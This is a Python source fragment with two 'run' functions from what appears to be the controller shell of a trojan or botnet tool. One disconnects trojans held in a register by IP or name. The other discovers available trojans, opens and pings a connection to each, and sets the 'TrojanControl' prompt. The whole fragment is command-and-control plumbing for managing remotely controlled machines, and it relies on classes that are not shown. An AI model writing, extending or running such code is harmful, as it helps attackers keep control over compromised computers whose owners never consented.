def run(process, std="all", info=True):
    shell = process.shell
    disconnected_trojans = 0
    trojans_to_disconnect = []
    # only made for the convinience in the ide
    if isinstance(shell, TrojanShell):

        # disconnects all trojans of the currently used trojans within the trojan register in case they actually
        # are connected at the moment
        if std == "all":
            for trojanconnection in shell.trojanregister:
                trojans_to_disconnect.append(trojanconnection.ip)
        # disconnects the trojan with the given ip, after verifying, that it is connected
        elif isip(std):
            if std in shell.trojanregister.ip_dict.keys():
                trojans_to_disconnect.append(std)
            else:
                raise ProcessError("The Trojan with the ip '{0}' is not connected".format(std))
        # disconnects the trojan with the given name, after verifying, that it is connected
        else:
            if std in shell.trojanregister.name_dict.keys():
                trojans_to_disconnect.append(shell.trojanregister[std].ip)
            else:
                raise ProcessError("The Trojan with the name '{0}' is not connected".format(std))

        # actually disconnects all the trojans with the given ips within the lsit "trojans_to_disconnect"
        for ip in trojans_to_disconnect:
            shell.trojanregister.remove(ip)
            if info is True:
                shellprint(process, Message("process", "disconnected Trojan with the ip {0}".format(ip)))
            disconnected_trojans += 1
        shell.prompt = "\n TrojanControl> "
        return "{0} trojans finally disconnected".format(disconnected_trojans)
def run(process, std="127.0.0.1", list=None, info=True):
    """
    pass
    :param process:
    :param std:
    :return:
    """
    shell = process.shell
    connected_trojans = 0
    # updating the list of available trojans
    process.shell.trojanlist.check_availability()

    if isinstance(shell, TrojanShell):
        if len(shell.trojanregister) == 0:
            if std == "all":
                for trojanconnection in shell.trojanlist.available:
                    shell.trojanregister.add(trojanconnection)

            elif isip(std):
                available = False
                for trojanconnection in shell.trojanlist.available:
                    if trojanconnection.ip == std:
                        shell.trojanregister.add(trojanconnection)
                        process.shell.prompt = "\n {0}> ".format(trojanconnection.ip)
                        available = True
                if available is False:
                    shell.trojanregister.add(TrojanConnection(std, shell.port))

    for trojanconnection in process.shell.trojanregister:
        try:
            trojanconnection.start()
            time.sleep(0.5)
            if trojanconnection.ping() is True:
                shellprint(process, Message("process", "Connected to the Trojan with the ip '{0}'".format(trojanconnection.ip)))
                trojanconnection.deactivate()
                connected_trojans += 1
            else:
                shellprint(process, Message("error", "Couldn't connect to the trojan with the ip '{0}'".format(trojanconnection.ip)))
        except Exception:
            shellprint(process, Message("error", "Couldn't connect to the trojan with the ip '{0}'".format(trojanconnection.ip)))
    # returning the message, that the command has terminated and the amount of connected trojans
    return "Finished connecting to the requested trojans and finally connected {0} trojan(s)".format(connected_trojans)